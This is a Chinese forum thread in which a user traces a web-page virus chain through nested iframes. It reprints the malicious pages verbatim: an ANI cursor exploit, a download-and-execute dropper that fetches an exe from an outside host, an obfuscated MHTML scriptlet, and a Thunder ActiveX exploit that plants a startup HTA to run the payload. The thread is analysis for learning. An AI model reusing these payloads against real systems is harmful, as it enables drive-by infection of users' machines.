首页 | 点评 Beta | 游戏中心 | 新手攻略 | 窝窝 | 音乐台 | 广告合作 | 6571手机版
 23 123
发新话题
打印

追踪网页病毒之旅(上篇)

追踪网页病毒之旅(上篇)

好久没遇到网页病毒了,今天在浏览任意门网站的时候(为什么会浏览这个网站呢?因为很好奇某篇文章中提到的任意门是个什么高级东西,结果后来才反应过来别人说的是机器猫的任意门=。=),Mcafee跳了出来,报告有毒,让我兴奋不已。于是便有了下面这篇文章,希望同对这方面有兴趣的同学一起学习~

特别说明:本帖中涉及的网址或者代码都有一定危险性
后面提及的exe文件非常危险,请不要在重要的机器上运行!

网址:
复制内容到剪贴板
代码:
http://www.anydoor.cn
进入后,杀毒软件就有反应了。报告的页面是002.htm(VBS/Psyme),1.jpg(Exploit-ANIfile.c),okkt.js(JS/Exploit-Xunlei)
到底是哪段代码引起的呢?根据经验,一般都是iframe嵌套另一个网页或者js代码。
然而我并没有很容易的就找到是哪段代码有问题。我把网页保存到本地,一边删掉正常的代码,一边刷新,看杀软的反应。最后确定是这段引起的:
复制内容到剪贴板
代码:
<script language="JavaScript1.1" src=http://www.yansulian.com/vdonglink.asp?user=zjdysl&classid=1&style=3></script>
然而单独在浏览器中打开
复制内容到剪贴板
代码:
http://www.yansulian.com/vdonglink.asp?user=zjdysl&classid=1&style=3
复制内容到剪贴板
代码:
http://www.yansulian.com/vdonglink.asp
杀软也没报,查看源文件,也并没什么特别的。我接着打开:
复制内容到剪贴板
代码:
http://www.yansulian.com
查看网页源文件,看到有这么一段:
复制内容到剪贴板
代码:
document.writeln("<iframe src=http:\/\/web.858656.com\/113\/ height=\"0\" width=\"100\"><\/iframe>");
这下好了,找到最先想要的iframe了,网址是:
复制内容到剪贴板
代码:
http://web.858656.com/113
这下在浏览器中打开它杀毒的就跳出来了。

这个网页的源文件如下:
复制内容到剪贴板
代码:
<html><TITLE>index</TITLE><BODY>
<iframe src=http://web.858656.com/113/111/001.htm width=50 height=0></iframe>
<iframe src=http://web.858656.com/113/222/002.htm width=0 height=0></iframe>
<iframe src=http://web.858656.com/113/333/003.htm width=0 height=0></iframe>
<iframe src=http://web.858656.com/113/xl/ok.asp width=0 height=0></iframe>
</body></html>
<script src='http://s2.cnzz.com/stat.php?id=416536&web_id=416536' language='JavaScript' charset='gb2312'></script>
OK,找到我们需要的002.htm了

我们接下来逐个查看001.htm ,002.htm,003.htm,以及ok.asp
最下面的那个脚本是个流量统计。不用管。
[待续]

[ 本帖最后由 Subaru 于 2007-10-6 13:16 编辑 ]

TOP

001.htm源文件:
复制内容到剪贴板
代码:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=big5">
<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>
<BODY>
<DIV style="CURSOR: url('http://web.858656.com/113/111/1.jpg')"></DIV>
</BODY></HTML>
代码里的图片就是利用今年上半年报出的微软鼠标ANIFile0day漏洞。关掉杀毒软件,将其下载下来,用winhex打开。发现文件尾部的地址:
复制内容到剪贴板
代码:
http://web.858656.com/113/1.exe
再将这个exe文件下载下来,为了防止误运行,可以将其重命名,如 1.exe.dll。然后这个先放一放。我们接着来看002.htm

[ 本帖最后由 Subaru 于 2007-10-2 16:19 编辑 ]

TOP

仍然是不运行杀软,下载002.htm后在ue中打开,源代码为:
复制内容到剪贴板
代码:
<html><head>
<script language =javascript>
function gn(n)
{var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';}
try{
dl='http://web.858656.com/113/1.exe';
var df=document.createElement("object");
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");
var S=df.CreateObject("Adodb.Stream","");
S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000);
var F=df.CreateObject("Scripting.FileSystemObject","");
var tmp=F.GetSpecialFolder(0);
fname1= F.BuildPath(tmp,fname1);
S.Open(); S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close();
var Q=df.CreateObject("Shell.Application","");
Q.ShellExecute(fname1,"","","open",0); }
catch(i)
{i=1;}
</script></head></html>
这段就是个VBS/Psyme
可以看到还是需要1.exe这个文件。后面的代码的功能大概主要是下载并执行它,这块我不怎么懂。
好了,002就告一段落。

TOP

003.htm源代码:
复制内容到剪贴板
代码:
<html><TITLE>index</TITLE><BODY>
<OBJECT style="display:&#X6E;&#X6F;&#X6E;&#X65;" type="tex&#116&#47&#120&#45&#115&#99&#114iptlet" data="&#X4D;&#X4B;&#X3A;&#X40;&#X4D;&#X53;&#X49;&#X54;Sto&#114&#101&#58&#109&#104tml&#X3A;&#X63;&#X3A;&#X5C;&#X2E;&#X6D;ht&#33http://web.858656.com/113/333/4343.htm&#X3A;&#X3A;/%6C%65%66t&#46htm"></OBJECT>
</body></html>
其中部分内同用了16进制编码和10进制编码,这里我用http://www.cha88.cn/safe/MonyerEn.php (Monyer的加密解密工具)来解码。
得到的结果(仅object标签内容):
复制内容到剪贴板
代码:
<OBJECT style="display:none;"type="text/x-scriptlet"
data="MKMSITStore:mhtml:c:\.mht!http://web.858656.com/113/333/4343.htm::/lef.htm"></OBJECT>
这里我们又看到两个网页,还是先不管。(我还不懂这个玩意儿=。=)。来看ok.asp

[ 本帖最后由 Subaru 于 2007-10-2 16:51 编辑 ]

TOP

ok.asp源文件:
复制内容到剪贴板
代码:
<html>
<HEAD>
<SCRIPT src="okkt.js"></SCRIPT>
</HEAD>
<BODY onload=shit();></BODY>
</html>
呵呵,这下okkt.js也出来了。下载下来。这是个针对迅雷的溢出攻击。内容如下:
复制内容到剪贴板
代码:
var oKStr = null;
function shit()
{
        try{oKStr = new ActiveXObject("\x54\x68\x75\x6E\x64\x65\x72\x53\x65\x72\x76\x65\x72\x2E\x77\x65\x62\x54\x68\x75\x6E\x64\x65\x72\x2E\x31");}
        catch(e){return;}
        var cmd;
        cmd="<script defer> var shell=\"<html><body><script>window.moveTo(4000,4000);window.resizeTo(0,0);var shell=new ActiveXObject(\\\"wscript.shell\\\");shell.Run(\\\"C:\\\\\\\\Progra~1\\\\\\\\Intern~1\\\\\\\\IEXPLORE.EXE http://web.858656.com/113/xl/Url2.html\\\",0,0);function runmm(){var path=shell.SpecialFolders(\\\"MyDocuments\\\");var savepath=path.substring(0,path.lastIndexOf(\\\"\\\\\\\\\\\"));savepath+=\\\"\\\\\\\\Local Settings\\\\\\\\Temporary Internet Files\\\\\\\\Content.IE5\\\\\\\\\\\";var sp=new ActiveXObject(\\\"shell.application\\\");var Folders=sp.NameSpace(savepath);for(i=0;i<Folders.Items().Count;i++){var Folder=Folders.Items().Item(i).Path;Folder+=\\\"\\\\\\\\smss1[1].exe\\\";try{shell.Exec(Folder);}catch(e){};}window.close();};shell.Run(\\\"cmd.exe /c tree c:\\\\\\\\ /f\\\",0,1);runmm();<\\/script></body></html>\";var SUNNY = new ActiveXObject(\"ADODB.Recordset\");SUNNY.Fields.Append(\"SUNNY\", 200, 3000);SUNNY.Open();SUNNY.AddNew();SUNNY.Fields(\"SUNNY\").Value=shell;SUNNY.Update();SUNNY.Save(\"C:\\\\Documents and Settings\\\\All Users\\\\「开始」菜单\\\\程序\\\\启动\\\\Server.hta\",0);SUNNY.Close();</script>";
        var ret=oKStr.AddCateogry(cmd);
        oKStr.SetBrowserWindowSize(0,0,400,300);
        var strPath = oKStr.GetServerPath();
        strPath = strPath.substr(0, strPath.length-1);
        strPath+="\\page\\index.htm";
        oKStr.SetBrowserWindowData(strPath,"\x53\x55\x4E\x4E\x59");
        oKStr.HideBrowserWindow(1);
        return;
}
稍稍放慢点节奏,将16进制的编码转换过来,仅有前面的一行后后面的一行,得到:
复制内容到剪贴板
代码:
function shit()
{
try{oKStr = new ActiveXObject("ThunderServer.webThunder.1");}
  catch(e){return;}
   var cmd;
    cmd="<script defer> var shell=\"
………………省略………………     
这下我们可以肯定,这是利用web迅雷的木马。

[ 本帖最后由 Subaru 于 2007-10-2 17:30 编辑 ]

TOP

真强人 ......

TOP

看楼上中间那段很长的代码,又很多“\"符号,这是转义符号。为了方便阅读,我将他还原,得到上面省略中的内容(当然,这是有语法错误的):
复制内容到剪贴板
代码:
<script defer> var shell="
<html>
<body>
  <script>
   window.moveTo(4000,4000);
   window.resizeTo(0,0);
   var shell=new ActiveXObject("wscript.shell");
   shell.Run("C:\\Progra~1\\Intern~1\\IEXPLORE.EXE http://web.858656.com/113/xl/Url2.html",0,0);
   function runmm(){
    var path=shell.SpecialFolders("MyDocuments");
    var savepath=path.substring(0,path.lastIndexOf("\\"));
    savepath+="\\Local Settings\\Temporary Internet Files\\Content.IE5\\";
    var sp=new ActiveXObject("shell.application");
    var Folders=sp.NameSpace(savepath);
    for(i=0;i<Folders.Items().Count;i++){
     var Folder=Folders.Items().Item(i).Path;
     Folder+="\\smss1[1].exe";
     try{shell.Exec(Folder);}
     catch(e){};
    }
    window.close();
   }
   shell.Run("cmd.exe /c tree c:\\ /f",0,1);
   runmm();
  </script>
</body>
</html>";
var SUNNY = new ActiveXObject("ADODB.Recordset");
SUNNY.Fields.Append("SUNNY", 200, 3000);
SUNNY.Open();
SUNNY.AddNew();
SUNNY.Fields("SUNNY").Value=shell;
SUNNY.Update();
SUNNY.Save("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\Server.hta",0);
SUNNY.Close();
</script>

TOP

先看上面这段较长的。
shell.Run后面要求C盘下的ie浏览器打开(为什么用C盘而不用系统变量,失败。。。=。=)
复制内容到剪贴板
代码:
http://web.858656.com/113/xl/Url2.html
这个地址。下载下来看,网页写到:
复制内容到剪贴板
代码:
<script src="smss1.exe"></script>
就是说要下载这个exe文件。下下来看看~~

下载来后和先前下载的1.exe比较发现,是同一个文件。都是13.3 KB (13,686 字节),MD5值也一样。

后面的代码是运行这个程序吧 然后怎么怎么,暂时有点晕。我来尝试看下这个exe文件。。。。

[待续]

TOP

再次强调,该exe文件非常危险,请不要在重要的机器上运行


NND,在尝试脱壳的时候还是中招了,Tiny Personal Firewall跳出来报告logogo.exe尝试链接网络的时候我才意识到。。然后并没有太在意,想的TMD不就连接下网络嘛,不怕。。结果后来把Mcafee开启的时候才知道几乎全盘的exe都感染了,我晕。。。。
幸好咖啡并没有删除文件而只是将它们移动,这样我还可以恢复。。=。=

这下中大毒了

估计今晚要花很多时间了

接下来就开始百度google这个咖啡报的名为“W32/Cekar”和“New Malware.n”的病毒。

………………
看到篇文章说,这个logogo.exe和生成在每个盘符下的setup.exe是通过在文件尾部加东西来实现感染exe文件的:

http://hi.baidu.com/81667/blog/item/6e700aa868af8cb2cb130ce7.html
引用:
清内存,不细说...用红叶+冰刃,2小时内肯定搞定...(有个免杀的dll相当讨厌,最快的还是dos引导删除,在安全模式下找模块删会比较慢,我就用后者。然后一定要搜一下注册表,见到就删)
受感染的exe经http://www.virustotal.com报告,9月3号Kav是免杀的,小红伞也免杀。9月4号kav报毒但会连同exe一起删除(Kav对特征码判断相当迟钝,我有个壳都一年多了还报不出来,还好没做坏事...不过主动防御值得称道,几乎无敌,就是会卡,很卡...AntiVirrus的免杀有点吃惊,hehe德国人...)McAfee,rising等都报毒...
尝试先研究一下,反汇编后发现exe文件尾部受到感染。31 5f 2e 69 69上方有一段0区,删除其后内容就可恢复exe...(但手动太慢了点,偶有400多文件,只感染非系统分区的exe)
尝试欺骗。旨在虽受到感染,但病毒进不了内存(其实做个病毒携带者也不是坏事)在system下先写入自己的logogo.exe(随便找个东西来重命名),运行受感染exe后我的logogo文件被病毒替换...尝试将我们的logogo.exe写入进程,开机自启,很遗憾,还失败...估计病毒中加了tskill之类的。欺骗失败...
批量解决。先后有装了Panda和McAfee,效果不佳...
同学正好有正版的rising,高档货,一下都搞定...好像剪了文件尾
比较气人的是,我的WinHex被删了,暂时不知道怎么去手工恢复。。把我的foobar也改了,。。。只有用wmp听歌了。。。

[待续,我修复exe文件去了。。。]

TOP

。。。传说是个比熊猫和威金还厉害的病毒。。。国庆中大奖了。。。
去年五一重装系统就是因为中了威金,之后再没重装过。也无缘在自己电脑上见到熊猫烧香的样子。。。

刚刚用ue比较了一个被感染的exe和正常的exe,发现文件头部也不同。。比较棘手。。。

偶继续。。

TOP

 23 123
发新话题